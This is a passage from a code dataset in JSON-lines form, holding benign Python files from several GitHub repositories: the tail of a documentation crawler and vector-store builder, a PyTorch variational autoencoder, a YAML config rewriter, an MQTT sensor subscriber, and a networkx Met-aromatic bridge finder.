text.strip())\n        text = re.sub(r' {2,}', ' ', text)\n        text = re.sub(r'-{3,}', '--', text)\n        text = re.sub(r'═{3,}', '==', text)\n        text = re.sub(r'_', '', text)\n        text = re.sub(r'`', '', text)\n        text = re.sub(r'Link: \\[\\d+\\]prefetch','', text)\n        text = re.sub(r'Link: \\[\\d+\\]preload','', text)\n        text = re.sub(r'Link: \\[\\d+\\]preconnect','', text)\n        text = re.sub(r'Link: \\[\\d+\\]canonical','', text)\n        text = re.sub(r'Link: \\[\\d+\\]alternate','', text)\n        text = re.sub(r'\\[\\d+\\]', '', text)\n        return text\n    \n    def clean_table_content(self, text):\n        pass\n\ndef hierarchy_links(url_docs: str, recursive_depth: int = 1, current_depth: int = 1) -> List[str]:\n    \"\"\"\n    Get all links from a web page up to a specified recursion depth.\n\n    :param url_docs: a string, the URL of the web page \n    :param recursive_depth: an optional integer, the maximum recursion depth, defaults to 1\n    :param current_depth: an optional integer, the current recursion depth, defaults to 1\n    :return: a List of strings, the URLs of documents collected from the web page\n    \"\"\"\n\n    # Check if we have reached the maximum recursion depth\n    if current_depth > recursive_depth and recursive_depth != 0:\n        return []\n    elif recursive_depth == 0:\n        return [url_docs]\n\n    # Send a GET request to the provided URL\n    reqs = requests.get(url_docs)\n    # Create a BeautifulSoup object from the HTML content\n    soup = BeautifulSoup(reqs.text, 'html.parser')\n    # Initialize the list for collected document links\n    docs_link = list()\n    # Iterate over all the links in the web page\n    for link in soup.find_all('a'):\n        # Create an absolute URL by joining the base URL and the href attribute\n        ref_link = urljoin(url_docs, link.get('href'))  \n        # Check if the URL is valid, not equal to the base URL, and not already in the list\n        if url_docs in ref_link and ref_link is not None and url_docs != ref_link:\n            docs_link.append(ref_link)\n            # Recursively collect links if maximum depth is not yet reached\n            if current_depth < recursive_depth:\n                docs_link.extend(\n                    hierarchy_links(ref_link, recursive_depth, current_depth + 1)\n                )\n    \n    # Return the list of collected document links\n    return docs_link\n\ndef ingest_docs(url_docs: str, recursive_depth: int = 1, return_summary: bool = True, logger=None) -> Tuple[List, List]:\n    \"\"\"\n    Get documents from web pages.\n\n    :param url_docs: a string, the URL of the web page\n    :param recursive_depth: an optional integer, the maximum recursion depth for getting links, defaults to 1\n    :param return_summary: an optional bool, whether to return a summary of documents, defaults to True\n    :param logger: an optional logging object, for logging progress and information, defaults to None\n    :return: a Tuple with two Lists,\n             first, the list of documents collected from the web pages,\n             second, the list of documents used for summary (if return_summary is True)\n    \"\"\"\n    embeddings = OpenAIEmbeddings()\n    # Get links from the web page, up to the specified recursion depth\n    docs_link = set(hierarchy_links(url_docs, recursive_depth))\n    # Initialize the lists for collected documents and document summaries\n    documents = list()\n    docs_for_summary = list()\n    logger.info(f\"Crawling {docs_link} ...\")\n    # Iterate over the collected links\n    for link in tqdm.tqdm(docs_link):\n        # Initialize an APIReferenceLoader with the option to scrape visible content\n        loader = APIReferenceLoader(link, is_visible_scrape=True)\n        # Load the raw documents\n        raw_documents = loader.load()\n        # Initialize text splitters for documents and summaries\n        text_splitter = TokenTextSplitter(chunk_size=1200, chunk_overlap=150)\n        text_splitter_sum = TokenTextSplitter(chunk_size=3100, chunk_overlap=300)\n        # Split documents for summary and document lists\n        if return_summary:\n            docs_for_summary.extend(text_splitter_sum.split_documents(raw_documents))\n        documents.extend(text_splitter.split_documents(raw_documents))\n    logger.info(\"Number of documents: {}\".format(len(documents)))\n    \n    logger.info(\"Saving vectorstore into assets/vectorstore.pkl\")\n    vectorstore = FAISS.from_documents(documents, embeddings)\n    with open(\"assets/vectorstore.pkl\", \"wb\") as f:\n        pickle.dump(vectorstore, f)\n\n    return documents, docs_for_summary\n\nif __name__ == \"__main__\":\n    import logging\n    logger = logging.getLogger(__name__)\n    docs, docs_for_summary = ingest_docs(\"https://developers.notion.com/reference/create-a-token\", recursive_depth=0, logger=logger)\n    embeddings = OpenAIEmbeddings()\n    vectorstore = FAISS.from_documents(docs, embeddings)\n    with open(\"assets/vectorstore_debug.pkl\", \"wb\") as f:\n        pickle.dump(vectorstore, f)\n    \n", "repo_name": "danielgross/LlamaAcademy", "sub_path": "ingest_docs.py", "file_name": "ingest_docs.py", "file_ext": "py", "file_size_in_byte": 12661, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1206, "dataset": "github-code", "pt": "81", "api": [{"api_name": "langchain.document_loaders.WebBaseLoader", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 38, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 62, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 51, "usage_type": "name"}, {"api_name": "langchain.docstore.document.Document", "line_number": 82, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 66, "usage_type": "name"}, {"api_name": "langchain.docstore.document.Document", "line_number": 66, "usage_type": "name"}, {"api_name": "selenium.webdriver.firefox.options.Options", "line_number": 134, "usage_type": "call"}, {"api_name": "selenium.webdriver.firefox.firefox_binary.FirefoxBinary", "line_number": 136, "usage_type": "call"}, {"api_name": "selenium.webdriver.firefox.service.Service", "line_number": 137, "usage_type": "call"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 138, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 138, "usage_type": "name"}, {"api_name": "contextlib.closing", "line_number": 149, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 151, "usage_type": "call"}, {"api_name": "lxml.html.clean.Cleaner", "line_number": 153, "usage_type": "call"}, {"api_name": "lxml.html.clean", "line_number": 153, "usage_type": "name"}, {"api_name": "lxml.html.fromstring", "line_number": 155, "usage_type": "call"}, {"api_name": "lxml.html", "line_number": 155, "usage_type": "name"}, {"api_name": "os.system", "line_number": 177, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 213, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 214, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 215, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 216, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 217, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 218, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 219, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 220, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 221, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 222, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 223, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 224, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 247, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 249, "usage_type": "call"}, {"api_name": "urllib.parse.urljoin", "line_number": 255, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 230, "usage_type": "name"}, {"api_name": "langchain.embeddings.OpenAIEmbeddings", "line_number": 280, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 288, "usage_type": "call"}, {"api_name": "langchain.text_splitter.TokenTextSplitter", "line_number": 294, "usage_type": "call"}, {"api_name": "langchain.text_splitter.TokenTextSplitter", "line_number": 295, "usage_type": "call"}, {"api_name": "langchain.vectorstores.faiss.FAISS.from_documents", "line_number": 303, "usage_type": "call"}, {"api_name": "langchain.vectorstores.faiss.FAISS", "line_number": 303, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 305, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 268, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 268, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 311, "usage_type": "call"}, {"api_name": "langchain.embeddings.OpenAIEmbeddings", "line_number": 313, "usage_type": "call"}, {"api_name": "langchain.vectorstores.faiss.FAISS.from_documents", "line_number": 314, "usage_type": "call"}, {"api_name": "langchain.vectorstores.faiss.FAISS", "line_number": 314, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 316, "usage_type": "call"}]}
{"seq_id": "9099153135", "text": "import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport numpy as np\nimport sys\nimport utils\nimport config as c\n\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n\n# Define variational autoencoder class\nclass VAE(nn.Module):\n    def __init__(self):\n        super(VAE, self).__init__()\n        self.dim = (32, int(c.height / 4), int(c.width / 4))\n        self.n_input = c.n_joints * 2\n\n        # Encoder\n        self.e_pool = nn.MaxPool2d(kernel_size=2, stride=2)\n\n        self.e_conv1 = nn.Conv2d(3, 32, (3, 3), stride=(1, 1), padding=(1, 1))\n        self.e_conv2 = nn.Conv2d(32, 32, (3, 3), stride=(1, 1), padding=(1, 1))\n\n        # Variational latent variable layers\n        self.fc_mu = nn.Linear(int(np.prod(self.dim)), self.n_input)\n        self.fc_log_var = nn.Linear(int(np.prod(self.dim)), self.n_input)\n\n        # Decoder\n        self.d_fc1 = nn.Linear(self.n_input, int(np.prod(self.dim)))\n\n        self.d_upconv3 = nn.ConvTranspose2d(32, 32, (4, 4), stride=(2, 2),\n                                            padding=(1, 1))\n        self.d_batch3 = nn.BatchNorm2d(32)\n        self.d_conv3 = nn.Conv2d(32, 32, (3, 3), stride=(1, 1), padding=(1, 1))\n\n        self.d_upconv4 = nn.ConvTranspose2d(32, 32, (4, 4), stride=(2, 2),\n                                            padding=(1, 1))\n        self.d_batch4 = nn.BatchNorm2d(32)\n        self.d_conv4 = nn.Conv2d(32, 3, (3, 3), stride=(1, 1), padding=(1, 1))\n\n        self.relu = nn.ReLU()\n        self.sigmoid = nn.Sigmoid()\n\n        self.to(device)\n\n    def encode(self, x):\n        \"\"\"\n        Run the encoder\n        :param x: input image\n        :return: mu and log_var vector\n        \"\"\"\n        out = self.relu(self.e_conv1(x))\n        out = self.e_pool(out)\n\n        out = self.relu(self.e_conv2(out))\n        out = self.e_pool(out)\n\n        out = out.reshape(out.size(0), -1)\n\n        mu = self.fc_mu(out)\n        log_var = self.fc_log_var(out)\n\n        return mu, log_var\n\n    @staticmethod\n    def reparametrize(mu, log_var):\n        \"\"\"\n        Randomly sample z based on mu and log_var vectors\n        :param mu: latent mean joint angle vector\n        :param log_var: latent log variance joint angle vector\n        :return: z\n        \"\"\"\n        std = torch.exp(0.5 * log_var)\n        eps = torch.randn_like(std)\n\n        return mu + eps * std\n\n    def decode(self, z):\n        \"\"\"\n        Run the decoder\n        :param z: latent variable vector z\n        :return: output image\n        \"\"\"\n        out = self.relu(self.d_fc1(z))\n\n        out = out.reshape(-1, *self.dim)\n\n        out = self.relu(self.d_batch3(self.d_upconv3(out)))\n        out = self.relu(self.d_conv3(out))\n\n        out = self.relu(self.d_batch4(self.d_upconv4(out)))\n        out = self.sigmoid(self.d_conv4(out))\n\n        return out\n\n    def forward(self, x):\n        \"\"\"\n        Perform forward pass through the network\n        :param x: input image\n        :return: output image, mu and log_var vectors\n        \"\"\"\n        mu, log_var = self.encode(x)\n        z = self.reparametrize(mu, log_var)\n        output = self.decode(z)\n\n        return output, mu, log_var\n\n    def predict_visual(self, x):\n        \"\"\"\n        Get visual prediction\n        :param x: input joint\n        :return: output image\n        \"\"\"\n        input_ = torch.tensor(x, device=device, dtype=torch.float,\n                              requires_grad=True)\n        output = self.decode(input_)\n\n        return input_, output\n\n    def predict_joint(self, x):\n        \"\"\"\n        Get joint prediction\n        :param x: input image\n        :return: output joint\n        \"\"\"\n        input_ = torch.tensor(x, device=device, dtype=torch.float).unsqueeze(0)\n        output, _ = self.encode(input_)\n\n        return output\n\n    def get_grad(self, input_, output, error):\n        \"\"\"\n        Get gradient with respect to prediction error\n        :param input_: input tensor from the predict function\n        :param output: output tensor from the predict function\n        :param error: prediction error\n        :return: numpy array containing the gradient\n        \"\"\"\n        # Set gradient to zero\n        input_.grad = torch.zeros(input_.size(), device=device,\n                                  dtype=torch.float, requires_grad=False)\n\n        output.backward(torch.tensor(error, dtype=torch.float,\n                                     device=device))\n\n        return input_.grad.detach().cpu().numpy()\n\n    @staticmethod\n    def train_net(net, x, y):\n        \"\"\"\n        Train the neural network\n        :param net: network object\n        :param x: input samples\n        :param y: output samples\n        \"\"\"\n        torch.cuda.empty_cache()\n\n        # Split dataset\n        train_gen, test_gen = utils.split_dataset(x, y, 0.9)\n\n        # Define optimizer\n        optimizer = optim.Adam(net.parameters(), lr=c.learning_rate)\n        scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=c.step_size,\n                                              gamma=c.gamma)\n\n        train_loss, test_loss, mse_loss = [], [], []\n\n        # Start training\n        for epoch in range(c.n_epochs):\n            cur_train_loss = 0\n            for x_train, y_train in train_gen:\n                loss, _ = VAE.run_batch(x_train, y_train, True, net, optimizer)\n                cur_train_loss += loss\n            train_loss.append(cur_train_loss / len(train_gen))\n\n            scheduler.step()\n\n            # Evaluate network\n            if (epoch + 1) % 5 == 0:\n                cur_test_loss, cur_mse_loss = 0, 0\n                for x_test, y_test in test_gen:\n                    loss, mse = VAE.run_batch(x_test, y_test, False, net,\n                                              optimizer)\n                    cur_test_loss += loss\n                    cur_mse_loss += mse\n                test_loss.append(cur_test_loss / len(test_gen))\n                mse_loss.append(cur_mse_loss / len(test_gen))\n\n                sys.stdout.write('\\rEpoch {:3d}  ===> \\t Train loss: {:10.5f}'\n                                 ' \\t Test loss: {:10.5f} \\t\\t MSE: {:10.5f}'.\n                                 format(epoch + 1, train_loss[-1],\n                                        test_loss[-1], mse_loss[-1]))\n                sys.stdout.flush()\n\n    @staticmethod\n    def run_batch(x_target, y_target, train, net, optimizer):\n        \"\"\"\n        Execute a training batch\n        :param x_target: input samples\n        :param y_target: output samples\n        :param train: variable for network training\n        :param net: network object\n        :param optimizer: optimizer\n        \"\"\"\n        # Send to GPU\n        x_target = x_target.to(device, torch.float32)\n        y_target = y_target.to(device, torch.float32)\n\n        # Clear gradient\n        optimizer.zero_grad()\n\n        # Forward pass\n        y_predict, mu, log_var = net(y_target)\n\n        # Compute loss\n        loss, mse = VAE.loss_function(y_predict, y_target, x_target,\n                                      mu, log_var)\n\n        if train:\n            # Perform optimization step\n            loss.backward()\n            optimizer.step()\n\n        return loss.item(), mse.item()\n\n    @staticmethod\n    def loss_function(y_predict, y_target, x_target, mu, log_var):\n        \"\"\"\n        Loss function of the VAE, based on the MSE of the images and\n        regularization term based on the Kullback-Leibler divergence\n        :param y_predict: predicted image\n        :param y_target: target image\n        :param x_target: ground truth joint angles\n        :param mu: latent mean joint angle vector\n        :param log_var: latent log variance joint angle vector\n        :return: loss\n        \"\"\"\n        criterion_mse = nn.MSELoss()\n\n        mse = criterion_mse(y_predict, y_target)\n\n        var_target = torch.full(log_var.shape, c.variance).to(\n            device, torch.float32)\n        kld = utils.kl_divergence(x_target, var_target, mu, log_var)\n\n        return mse + kld, mse\n\n    def save(self):\n        \"\"\"\n        Save network to file\n        \"\"\"\n        torch.save(self.state_dict(), 'network/vae.net')\n\n    def load(self):\n        \"\"\"\n        Load network from file\n        \"\"\"\n        self.load_state_dict(torch.load('network/vae.net',\n                                        map_location=device))\n        self.eval()\n", "repo_name": "priorelli/PACE", "sub_path": "network/vae.py", "file_name": "vae.py", "file_ext": "py", "file_size_in_byte": 8301, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.device", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 13, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 13, "usage_type": "name"}, {"api_name": "config.height", "line_number": 16, "usage_type": "attribute"}, {"api_name": "config.width", "line_number": 16, "usage_type": "attribute"}, {"api_name": "config.n_joints", "line_number": 17, "usage_type": "attribute"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.prod", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "name"}, {"api_name": "numpy.prod", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "numpy.prod", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 34, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 39, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 40, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 42, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 43, "usage_type": "name"}, {"api_name": "torch.exp", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.randn_like", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 115, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 127, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 127, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 142, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 144, "usage_type": "attribute"}, {"api_name": "torch.cuda.empty_cache", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 157, "usage_type": "attribute"}, {"api_name": "utils.split_dataset", "line_number": 160, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 163, "usage_type": "name"}, {"api_name": "config.learning_rate", "line_number": 163, "usage_type": "attribute"}, {"api_name": "torch.optim.lr_scheduler.StepLR", "line_number": 164, "usage_type": "call"}, {"api_name": "torch.optim.lr_scheduler", "line_number": 164, "usage_type": "attribute"}, {"api_name": "torch.optim", "line_number": 164, "usage_type": "name"}, {"api_name": "config.step_size", "line_number": 164, "usage_type": "attribute"}, {"api_name": "config.gamma", "line_number": 165, "usage_type": "attribute"}, {"api_name": "config.n_epochs", "line_number": 170, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 190, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 190, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 194, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 194, "usage_type": "attribute"}, {"api_name": "torch.float32", "line_number": 207, "usage_type": "attribute"}, {"api_name": "torch.float32", "line_number": 208, "usage_type": "attribute"}, {"api_name": "torch.nn.MSELoss", "line_number": 239, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 239, "usage_type": "name"}, {"api_name": "torch.full", "line_number": 243, "usage_type": "call"}, {"api_name": "config.variance", "line_number": 243, "usage_type": "attribute"}, {"api_name": "torch.float32", "line_number": 244, "usage_type": "attribute"}, {"api_name": "utils.kl_divergence", "line_number": 245, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 253, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 259, "usage_type": "call"}]}
{"seq_id": "23610979531", "text": "import yaml\nimport argparse\nimport os\n\nparser = argparse.ArgumentParser(description='Change config for evaluation')\nparser.add_argument('--config_path', type=str, required=True,\n                    help='path to config file')\n\nparser.add_argument('--data_path', type=str, required=True, help='path to your own dataset')\nargs = parser.parse_args()\n\nconfig_path = args.config_path.split(\"/\")\ndef read_yaml_file(files):\n    config = None\n    with open(files, 'r') as stream:\n        try:\n           # config = yaml.load(stream, Loader=yaml.BaseLoader)\n            config = yaml.load(stream)\n            print(\"READ YAML\")\n        except yaml.YAMLError as exc:\n            print(exc)\n    return config\n\ndef write_yaml_file(files, data):\n    with open(files, 'w') as outfile:\n        yaml.dump(data, outfile, default_flow_style=False)\n\ndef change_dataset_dir(base_list):\n    for idx in range(len(base_list)):\n        if(\"datasets\" in base_list[idx]):\n            base_list[idx] = args.data_path\n    return base_list \n\nconfig = read_yaml_file(args.config_path)\nprint(config)\nbase_config = config['_BASE_']\n\nif(len(base_config)==1):\n    root_config_name = base_config[0]\n    config_path[-1] = root_config_name\n    root_config_path = \"/\".join(config_path)\n    print(\"Root: \", root_config_path)\n    root_config = read_yaml_file(root_config_path)\n    root_config_base = root_config['_BASE_']\n    root_config_base = change_dataset_dir(root_config_base)\n    root_config['_BASE_'] = root_config_base\n    write_yaml_file(root_config_path, root_config)\nelse:\n    base_config = change_dataset_dir(base_config)\n    config['_BASE_'] = base_config\n    print(\"New config file saved: \", args.config_path)\n    write_yaml_file(args.config_path, config)\n\n    \n", "repo_name": "LeDuySon/Paddle_detection", "sub_path": "scripts/setup_config.py", "file_name": "setup_config.py", "file_ext": "py", "file_size_in_byte": 1736, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 5, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 18, "usage_type": "call"}, {"api_name": "yaml.YAMLError", "line_number": 20, "usage_type": "attribute"}, {"api_name": "yaml.dump", "line_number": 26, "usage_type": "call"}]}
{"seq_id": "42695827350", "text": "from paho.mqtt import client as paho_mqtt_client\nfrom datetime import datetime\nfrom config import config\nfrom Classes.db import db\n\n\ndef on_connect(client, userdata, flags, rc):\n    if rc == 0:\n        print(\"Connected to MQTT Broker!\")\n    else:\n        print(\"Failed to connect, return code %d\\n\", rc)\n\n\ndef on_message(client, userdata, message):\n    message_res = \"Received message: \" + str(message.payload.decode('UTF-8')) + \" on topic: \" + message.topic + \" QoS: \" + str(message.qos)\n    # print(message_res)\n    with open('subscriber_log.txt', 'a') as out_file:\n        out_file.write(f'{datetime.now()} {message_res}\\n')\n    topic_l = str(message.topic).split('/')\n    device, sensor = None, None\n    if len(topic_l) > 3 and topic_l[0] == 'devices' and topic_l[2] == 'sensors':\n        device = topic_l[1]\n        sensor = topic_l[3]\n        value = float(message.payload.decode('UTF-8'))\n        db.add_sensor_value(device_key=device, sensor_key=sensor, value=value)\n    else:\n        print(f'{datetime.now()} {message_res}')\n\n\nclass MqttClient:\n    def __init__(self, config: config):\n        \"\"\"\n        \"\"\"\n        self.config = config\n        self.client: paho_mqtt_client = None\n        self.broker = config.broker\n        self.port = config.port\n        self.client_id = config.client_id\n        self.connected = str(None)\n\n    def connect(self):\n        def on_connect(client, userdata, flags, rc):\n            if rc == 0:\n                print(\"Connected to MQTT Broker!\")\n                self.connected = True\n            else:\n                print(\"Failed to connect, return code %d\\n\", rc)\n        # Set Connecting Client ID\n        self.client = paho_mqtt_client.Client(self.client_id)\n        # client.username_pw_set(username, password)\n        self.client.on_connect = on_connect\n        self.client.connect(self.broker, self.port)\n        \n    def subscribe(self, topics: list) -> list:\n        result_list = []\n        if not self.connected:\n            self.connect()\n        for topic in topics:\n            print(f'Subscribing to {topic}')\n            subscribe_result = self.client.subscribe(topic)\n            callback_result = self.client.message_callback_add(topic, on_message)\n            print(f'Subscribe result: {subscribe_result}, callback_result = {callback_result}')\n            result_list.append((topic, subscribe_result))\n        self.client.on_message = on_message\n        return result_list\n\n    def run_loop(self):\n        \"\"\"\n        connect, subscribe and loop mqtt client with config\n        \"\"\"\n        self.connect()\n        self.subscribe(self.config.topics)\n        self.loop()\n\n    def loop(self):\n        self.client.loop_forever(timeout=5.0)\n\n\nif __name__ == '__main__':\n    print(config)\n    mqtt_client = MqttClient(config)\n    mqtt_client.run_loop()\n    print(mqtt_client)\n\n", "repo_name": "savinoff/router_rest_srv", "sub_path": "mqttbkp_srv.py", "file_name": "mqttbkp_srv.py", "file_ext": "py", "file_size_in_byte": 2833, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime.now", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "name"}, {"api_name": "Classes.db.db.add_sensor_value", "line_number": 25, "usage_type": "call"}, {"api_name": "Classes.db.db", "line_number": 25, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "name"}, {"api_name": "config.config", "line_number": 31, "usage_type": "name"}, {"api_name": "config.config", "line_number": 34, "usage_type": "name"}, {"api_name": "paho.mqtt.client", "line_number": 35, "usage_type": "name"}, {"api_name": "config.config.broker", "line_number": 36, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 36, "usage_type": "name"}, {"api_name": "config.config.port", "line_number": 37, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 37, "usage_type": "name"}, {"api_name": "config.config.client_id", "line_number": 38, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 38, "usage_type": "name"}, {"api_name": "paho.mqtt.client.Client", "line_number": 49, "usage_type": "call"}, {"api_name": "paho.mqtt.client", "line_number": 49, "usage_type": "name"}, {"api_name": "config.config", "line_number": 80, "usage_type": "argument"}, {"api_name": "config.config", "line_number": 81, "usage_type": "argument"}]}
{"seq_id": "21264306915", "text": "from logging import getLogger\r\nfrom networkx import Graph, connected_components\r\nfrom MetAromatic.pair import MetAromatic\r\nfrom MetAromatic.complex_types import TYPE_MA_PARAMS, TYPE_BRIDGE_SPACE\r\n\r\n\r\nclass GetBridgingInteractions:\r\n    log = getLogger(\"met-aromatic\")\r\n\r\n    def __init__(self, ma_params: TYPE_MA_PARAMS) -> None:\r\n        self.ma_params = ma_params\r\n        self.f: TYPE_BRIDGE_SPACE\r\n\r\n    def get_interacting_pairs(self, code: str) -> bool:\r\n        ma_results = MetAromatic(self.ma_params).get_met_aromatic_interactions(code)\r\n\r\n        if not ma_results[\"OK\"]:\r\n            self.log.error(\r\n                \"Cannot get bridging interactions as Met-aromatic algorithm failed\"\r\n            )\r\n\r\n            self.f[\"OK\"] = False\r\n            self.f[\"status\"] = ma_results[\"status\"]\r\n            return False\r\n\r\n        if len(ma_results[\"interactions\"]) < 1:\r\n            self.log.info(\r\n                \"No Met-aromatic interactions were found therefore cannot find bridges\"\r\n            )\r\n\r\n            self.f[\"status\"] = \"No Met-aromatic interactions were found\"\r\n            return False\r\n\r\n        for interaction in ma_results[\"interactions\"]:\r\n            pair = (\r\n                f\"{interaction['aromatic_residue']}{interaction['aromatic_position']}\",\r\n                f\"MET{interaction['methionine_position']}\",\r\n            )\r\n            self.f[\"interactions\"].add(pair)\r\n\r\n        return True\r\n\r\n    def isolate_connected_components(self, vertices: int) -> None:\r\n        graph = Graph()\r\n        graph.add_edges_from(self.f[\"interactions\"])\r\n\r\n        for bridge in connected_components(graph):\r\n            if len(bridge) == vertices:\r\n                self.f[\"bridges\"].append(bridge)\r\n\r\n        # Note that inverse bridges (MET-ARO-MET) not removed!\r\n\r\n        num_bridges = len(self.f[\"bridges\"])\r\n\r\n        if num_bridges > 0:\r\n            if num_bridges == 1:\r\n                self.log.info(\"Found 1 bridge\")\r\n            else:\r\n                self.log.info(\"Found %i bridges\", num_bridges)\r\n\r\n            return\r\n\r\n        self.log.info(\"Found no bridges\")\r\n        self.f[\"status\"] = \"No bridges\"\r\n\r\n    def get_bridging_interactions(self, code: str, vertices: int) -> TYPE_BRIDGE_SPACE:\r\n        self.log.info('Locating bridging interactions for entry \"%s\"', code)\r\n\r\n        self.f = {\"interactions\": set(), \"bridges\": [], \"OK\": True, \"status\": \"Success\"}\r\n\r\n        if not self.get_interacting_pairs(code):\r\n            return self.f\r\n\r\n        self.isolate_connected_components(vertices=vertices)\r\n\r\n        return self.f\r\n", "repo_name": "dsw7/MetAromatic", "sub_path": "MetAromatic/bridge.py", "file_name": "bridge.py", "file_ext": "py", "file_size_in_byte": 2568, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "MetAromatic.complex_types.TYPE_MA_PARAMS", "line_number": 10, "usage_type": "name"}, {"api_name": "MetAromatic.complex_types.TYPE_BRIDGE_SPACE", "line_number": 12, "usage_type": "name"}, {"api_name": "MetAromatic.pair.MetAromatic", "line_number": 15, "usage_type": "call"}, {"api_name": "networkx.Graph", "line_number": 44, "usage_type": "call"}, {"api_name": "networkx.connected_components", "line_number": 47, "usage_type": "call"}, {"api_name": "MetAromatic.complex_types.TYPE_BRIDGE_SPACE", "line_number": 66, "usage_type": "name"}]}
